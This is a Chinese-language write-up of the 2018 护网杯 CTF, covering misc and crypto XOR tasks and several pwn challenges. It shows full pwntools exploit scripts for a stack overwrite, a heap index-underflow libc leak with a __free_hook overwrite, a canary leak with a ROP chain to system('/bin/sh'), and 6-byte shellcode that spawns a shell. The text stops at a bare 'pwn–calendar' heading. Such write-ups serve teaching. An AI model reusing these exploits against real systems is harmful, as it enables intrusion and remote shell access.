2018护网杯

一打比赛,就被自己菜到了,还是没有晋级前60,慢慢复现一下假装自己赛后学会了

Misc-签到题

也是很简单的一题,首先解一次base64,然后爆破异或,就出flag了

a = "AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs="
da = base64.b64decode(a)

for x in xrange(0,0xff):
	c = xor(da,x)
	try:
		print c
	except Exception as e:
		 print e

crypto—fez

这题就根据题目给的加密脚本,和log中的三条输出语句,写一个解密的脚本,就解出来了,实际上也多次的异或操作:


a="d731a7b0f7fa1da45fc1d00f86128ab1e5f6f093a5af1078e20aafcf3d159d454d6491073a2429e886fdf588ea8a62af220c983c4024"
aa = .a.decode("hex")

b="2c9920ccfed9d7b0f0f1873487556212dfe53736139fff846f7a31c32afa37606e7dff8d745a8b7e1072ec56402c5977fa6b9f047f55"
bb=b.decode("hex")

c="8795062cec3a3402d2b6e1847ccda6e6d305df98fc4365932e485ad97b1a00fe11e69a8497806b74ff5dc2e060025262b88785c42ca2"
cc=c.decode("hex")

d = ""
e = ""

for x in range(27):
    d += chr(ord(aa[x + 27]) ^ ord(bb[x]) ^ ord(cc[x]))  
    e += chr(ord(aa[x]) ^ ord(aa[x + 27]) ^ ord(bb[x + 27]) ^ ord(cc[x + 27]) ^ ord(d[x]))

print e + d

pwn–gettingstart

这题是很简单的一道栈内覆盖变量的题目,直接贴出exp吧:

最多就是double转hex有点小坑吧

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip ="117.78.27.209"
if ip:
    p = remote(ip,000)
else:
    p = process("./gettingStart")

def sl(s):
    p.sendline(s)
def sd(s):
    p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
    p.interactive()
#-------------------------------------
ru("you.\n")
payload = "a"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
sd(payload)
getshell()

pwn–shopping

这题的解法很多,这里贴一下各路神仙的wp:

神仙们的WPzs0zrc

这题的保护机制是这样的:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found****
    NX:       NX enabled***
    PIE:      PIE enabled***

首先这题一开头有个getmoney函数,其中包含了申请chunk和写入8个字节的操作

  if ( counts_g <= 0x13 )
  {
    puts("I will give you $9999, but what's the  currency type you want, RMB or Dollar?");
    v1 = malloc(0x10uLL);
    v2 = v1;
    v1[1] = 9999LL;
    fgets(&money[8 * counts_g], 8, stdin);
    *v2 = &money[8 * counts_g];
    v3 = counts_g++;
    v4 = 8 * v3;
    v0 = &get_array;
    *(&get_array + v4) = v2;
  }
  else
  {
    LODWORD(v0) = puts("You already have enough money!");
  }

大概的逻辑是,申请一个0x10大小的chunk,把这个chunk的地址写入bss段中get_arry数组中,然后往chunk[0]的位置写入bss段中money[0]的地址,最后,再将用户输入的8字节写入bss段的money[0]中

接着进入buy函数:

有free_goods、get_goods、edit_goods三个功能函数

unsigned __int64 free_goods()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-28h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which goods that you don't need?");
  fgets(&s, 24, stdin);
  idx = strtoul(&s, 0LL, 0);
  if ( idx <= counts_b )
    frees(idx);
  else
    puts("That goods is out of your cart.");
  return __readfsqword(0x28u) ^ v3;
}

QWORD *__fastcall frees(__int64 idx)
{
  _QWORD *result; // rax

  puts("You really don't need it?");
  free(*buy_array[idx]);
  free(buy_array[idx]);
  result = buy_array;
  buy_array[idx] = 0LL; //仅仅清空了指针,但没有对chunk的内容进行清空
  return result;
}



unsigned __int64 get_goods()
{
  unsigned __int64 size; // ST10_8
  void **v1; // ST18_8
  __int64 v2; // rax
  char s; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( counts_b <= 0x13 )
  {
    puts("How long is your goods name?");
    fgets(&s, 24, stdin);
    size = strtoul(&s, 0LL, 0);
    v1 = malloc(0x10uLL);
    v1[1] = &stru_3D8 + 15;
    *v1 = malloc(size);
    puts("What is your goods name?");
    *(*v1 + read(0, *v1, size) - 1) = 0;   // 输入后进行\0截断,防止泄露
    v2 = counts_b++;
    buy_array[v2] = v1;
  }
  else
  {
    puts("Your shopping cart is full now!");
  }
  return __readfsqword(0x28u) ^ v5;
}





unsigned __int64 edit_goods()
{
  unsigned __int64 v0; // rax
  __int64 v1; // ST00_8
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Which goods you need to modify?");
  fgets(&s, 24, stdin);
  v0 = strtoul(&s, 0LL, 0);
  printf("OK, what would you like to modify %s to?\n", *buy_array[v0], v0);
  *(*buy_array[v1] + read(0, *buy_array[v1], 8uLL)) = 0;
  return __readfsqword(0x28u) ^ v4;
}

主要的漏洞点在于:

  • edit函数中,v0 = strtoul(&s, 0LL, 0)可造成,v0被赋值为-1,导致数组下标溢出漏洞,接着在printf("OK, what would you like to modify %s to?\n", *buy_array[v0], v0);中,可导致泄露和修改buy_array[]往上的内容
  • 在get函数中,*(*v1 + read(0, *v1, size) - 1) = 0;会进行0截断,但如果size为0,则可以绕过0截断进行泄漏

该程序的申请chunk 和存储数据的逻辑大致如下图:

1539948943602

由此,就可以得出我们这题的利用思路,主要利用数组下标溢出,对get_arry和money进行操作,达到泄漏libc和改写任意地址的目的,从而getshell

exp如下:

#!/usr/bin/env python
from pwn import *

p = process('./shoppingCart')
elf = ELF('./shoppingCart')
libc = ELF('./libc.so.6')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)
def sl(content):
    p.sendline(content)
def rc():
    return p.recv()
def ru(content):
    return p.recvuntil(content)
def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk ''".format(p.pid)).readlines()[1], 16)
        #如果程序开了pie则可以通过这个语句,得到elf的基址,从而方便本地调试
        log.info("text_base:{}".format(hex(text_base)))
        log.info("buy_array:{}".format(hex(text_base + 0x2021E0)))
        log.info("get_array:{}".format(hex(text_base + 0x202140)))
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))


def get_money():
    ru("EMMmmm, you will be a rich man!\n")
    for i in range(0x14):
        sl('1')
        rc()
        sl('1234')
        ru("EMMmmm, you will be a rich man!\n")
    sl('3')


def buy_goods(size,name):
    ru('Now, buy buy buy!\n')
    sl('1')
    ru('How long is your goods name?\n')
    sl(str(size))
    ru(' name?\n')
    sl(name)
def edit_goods(idx,name):
    rc()
    sl('3')
    rc()
    sl(idx)
    ru(" to?\n")
    sd(name)
def delete_goods(idx):
    rc()
    sl('2')
    rc()
    sl(str(idx))

get_money()

buy_goods(0x88,'a'*8)#0
buy_goods(0x88,'sh')#1
buy_goods(0x88,'a'*8)#2
delete_goods(0)

buy_goods(0,'')#3
pause()

log.info("---------leak libc-----------")
rc()
sl('3')
rc()
sl('3')
ru("modify ")
leak = u64(p.recv(6).ljust(8,'\x00')) 
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10- 216
libc.address = libc_base
print hex(leak)
print hex(libc_base)
sl('aaaaa')
rc()

edit_goods(' -1',p64(libc.got['__free_hook']))
#libc.got的利用可以说是很秀了,学习了,当程序开了pie的时候
#如果已经获取了libc.base那么可以直接用这种方式获得真正函数地址
edit_goods(' -21',p64(libc.symbols['system']))#-1和-21都是根据数组下标算出的位置
delete_goods(1)

p.interactive()

在最开始创建三个0x88chunk的时候堆内存的分布式这样的:

1539954937025

接着free掉chunk0后:

1539955143480

可以看到chunk3的小chunk是分配在原来chunk0的小chunk 的位置的,而chunk3中又malloc(0),那么还需要分配一个0x20的chunk给他,这时就对原来chunk0的0x90的chunk进行切割,切出0x20给chunk3,同时剩下0x70还是存在unsorted中

这里就产生了一个问题,在free掉chunk0的时候,0x90的chunk先被加入unsorted中,那么它的fd和bk就会存入unsorted的地址,在切割0x20给chunk3的时候,fd和bk没有进行修改,那么如果此时edit出chunk3的内容,就可以泄漏出libc了

pwn–huwang

    Arch:     amd64-64-little
    RELRO:    Full RELRO***
    Stack:    Canary found***
    NX:       NX enabled***
    PIE:      No PIE (0x400000)

感觉被这题秀了,看了大佬们的wp才知道,这题直接用666选项就行了,堆的操作全都是没有用的,我还是太年轻了

在输入md5加密轮次的时候只判断了大于 10 和不为 0 的情况,当输入负数时,在 signedunsigned 比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算,足以让程序因为超时而中断

这时如果再开一个 p=process('./huwang')到这个流程中,到 MD5 之前

HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

这里 open 是以 O_WRONLY 异或 O_TRUNC 的 flags 打开的,其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截断为 0 ,因此此时第二个 p开启的时候将得到一个空的 /tmp/secret ,因此只要我们输入 MD5('\0' * 16) 即可通过后边的 memcpy 验证,进入漏洞函数。

进入漏洞函数后,发现snprintf()存在栈溢出漏洞,接着就可以通过操作栈溢出rop进行泄漏libc和getshell了

exp如下:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
import hashlib
context(os="linux", arch="amd64",log_level = "debug")

ip =""
if ip:
	p = remote(ip,0)
else:
	p = process("./huwang")

elf = ELF("./huwang")
libc = ELF("./libc.so.6")
#libc = elf.libc
#-------------------------------------
def sl(s):
	return p.sendline(s)
def sd(s):
	return p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def sla(a,s):
	p.sendlineafter(a,s)
def sda(a,s):
	p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------

#通过输入-1使得程序超时崩溃,同时secret为空
sla("command>> \n",'666')
sla("name\n",'a'*8)
sla("secret?\n","y")
sla("secret:\n", '-1')
ru('timeout~')  
p.close()

secret = hashlib.md5()#计算出md5值
secret.update('\0'*16)
print secret.digest()

p = process('./huwang')
sla("command>> \n","666")
sda("name\n",'a'*0x18+"#")#通过#作为标志泄露canary
sla("secret?\n","y")
sla("secret:\n", '1')
sda('secret\n', secret.digest())
ru("#")
canary = u64('\0' + p.recv(7))
print "canary is --->"+hex(canary)

ru("occupation?\n")
sd('a'*0xff)#snprintf函数溢出
sla("[Y/N]\n","Y") 

pop_rdi = 0x401573
success = 0x40101C

#泄露libc
ropchain = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['puts'])+ p64(success)
sl(ropchain)
ru("Congratulations, ")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
libc.address = libc_base

payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(libc.search('/bin/sh').next()) + p64(libc.symbols['system'])
ru("occupation?\n")
sd('a'*0xff)
sla("[Y/N]\n","Y")
sl(payload)

getshell()

pwn–six

    Arch:     amd64-64-little
    RELRO:    Full RELRO***
    Stack:    Canary found***
    NX:       NX enabled***
    PIE:      PIE enabled***

保护全开的很骚的一题

首先mmap分配了两个内存区

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 6uLL);
  read(fd, &v3, 6uLL);
  stack = mmap((v3 & 0xFFFFFFFFFFFFF000LL), 010000uLL, 7, 34, -1, 0LL);
//内存区一:rwx-权限,位于高地址,做代码段用
  dest = mmap((buf & 0xFFFFFFFFFFFFF000LL), 010000uLL, 3, 34, -1, 0LL) + 0x500;
//内存区二:rw--权限,位于低地址,做栈用

要求用6个字节的shellcode解决问题,其中操作数不能重复,三个奇数操作数,三个偶数操作数:

__int64 __fastcall sub_B05(__int64 a1)
{
  __int64 result; // rax
  unsigned int v2; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  signed int i; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]
  v2 = 0;
  v3 = 0;
  for ( i = 0; i <= 5; ++i )
  {
    if ( *(_BYTE *)(i + a1) & 1 )
      ++v2;
    else
      ++v3;
    for ( j = i + 1; j <= 5; ++j )
    {
      if ( *(_BYTE *)(i + a1) == *(_BYTE *)(j + a1) )
      {
        puts("Invalid shellcode!");
        exit(0);
      }
    }
  }
  result = v2;
  if ( v2 != v3 )
  {
    puts("Invalid shellcode!");
    exit(0);
  }
  return result;
}

程序data段中0x0202020的地方本身存了一段代码:

.data:0000000000202020 ; char shellcode1[1]
.data:0000000000202020 shellcode1      db 48h, 89h, 0FCh, 48h, 31h, 0EDh, 48h, 31h, 0C0h, 48h
.data:0000000000202020                                         ; DATA XREF: main+71o
.data:0000000000202020                                         ; main+87o ...
.data:0000000000202020                 db 31h, 0DBh, 48h, 31h, 0C9h, 48h, 31h, 0D2h, 48h, 31h
.data:0000000000202020                 db 0FFh, 48h, 31h, 0F6h, 4Dh, 31h, 0C0h, 4Dh, 31h, 0C9h
.data:0000000000202020                 db 4Dh, 31h, 0D2h, 4Dh, 31h, 0DBh, 4Dh, 31h, 0E4h, 4Dh
.data:0000000000202020                 db 31h, 0EDh, 4Dh, 31h, 0F6h, 4Dh, 31h, 0FFh, 2 dup(0)
.data:0000000000202020 _data           ends
.data:0000000000202020

提取出来,在这个在线机器码转汇编网站上面转换一下:https://defuse.ca/online-x86-assembler.htm(需要全局梯子)

0x48, 0x89, 0xFC, 0x48, 0x31, 0xED, 0x48, 0x31, 0xC0, 0x48, 0x31, 0xDB, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x48, 0x31, 0xFF, 0x48, 0x31, 0xF6, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x4D, 0x31, 0xD2, 0x4D, 0x31, 0xDB, 0x4D, 0x31, 0xE4, 0x4D, 0x31, 0xED, 0x4D, 0x31, 0xF6, 0x4D, 0x31, 0xFF
 
Disassembly:
0:  48 89 fc                mov    rsp,rdi
3:  48 31 ed                xor    rbp,rbp
6:  48 31 c0                xor    rax,rax
9:  48 31 db                xor    rbx,rbx
c:  48 31 c9                xor    rcx,rcx
f:  48 31 d2                xor    rdx,rdx
12: 48 31 ff                xor    rdi,rdi
15: 48 31 f6                xor    rsi,rsi
18: 4d 31 c0                xor    r8,r8
1b: 4d 31 c9                xor    r9,r9
1e: 4d 31 d2                xor    r10,r10
21: 4d 31 db                xor    r11,r11
24: 4d 31 e4                xor    r12,r12
27: 4d 31 ed                xor    r13,r13
2a: 4d 31 f6                xor    r14,r14
2d: 4d 31 ff                xor    r15,r15

可以发现这一段的代码的作用是让rsp指向mmap产生的第二个内存区(也就是用来当模拟栈的内存),接着让其他所有的寄存器都清空为0

由于rax的值也变成了0,那么如果进行syscal,则可以实现调用read函数进行写的操作

若两次mmap的随机地址都已分配,则会造成两处内存空间相邻。且伪造栈的空间在上方!如果两空间相邻我们可以覆盖到我们接下来要执行的指令

分配的两个内存区布局大概是这样的:

rsp-->  |    stack   |内存区1
        | .......... |
        | .......... |
        | .......... |
        | .......... |
        | .......... |
        | .......... |
        --------------
        | .......... |内存区2
        | .........  |
        |    src     |
        | .......... |        
        | .......... |
rip-->  | input(6)   |
        | 下一条指令   |

我们需要通过调用read函数向rsp所指的地方输入字符串,使得覆盖rip的值为shellcode起始位置

而rip此时指向了我们输入的6字节shellcode的下面,所以填充需要覆盖到那个位置

六个字节shellcode实现read(0,rsp,xxx)

Disassembly:
0:  54                      push   rsp
1:  5e                      pop    rsi
2:  89 f2                   mov    edx,esi
4:  0f 05                   syscall


0:  54                      push   rsp
1:  5e                      pop    rsi
2:  9f                      lahf
3:  92                      xchg   edx,eax
4:  0f 05                   syscall

exp:

exp大概率会成功,这取决于mmap时候分配的内存布局

#coding=utf8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
#context.terminal = ['gnome-terminal','-x','bash','-c']

def exp():
	p = process('./six')
	shellcode1='''push rsp;pop rsi;lahf;xchg edx,eax;syscall'''
	shellcode2='''push rsp;pop rsi;mov edx,esi;syscall'''
	shellcode = asm(shellcode1)

	p.sendafter(':',shellcode)

	paylaod = '\x90'*(0x1000-0x500)#0xb36
    #这个偏移试过从(0x1000-0x500)到(0x1000-0x100)均能成功,可以说是很玄学了
	paylaod+='\x90'*0x36+asm(shellcraft.sh())
    #0x30的源程序src长度,0x06的用户输入shellcode长度
	p.send(paylaod)
	p.interactive()


while True:
	exp()

pwn–calendar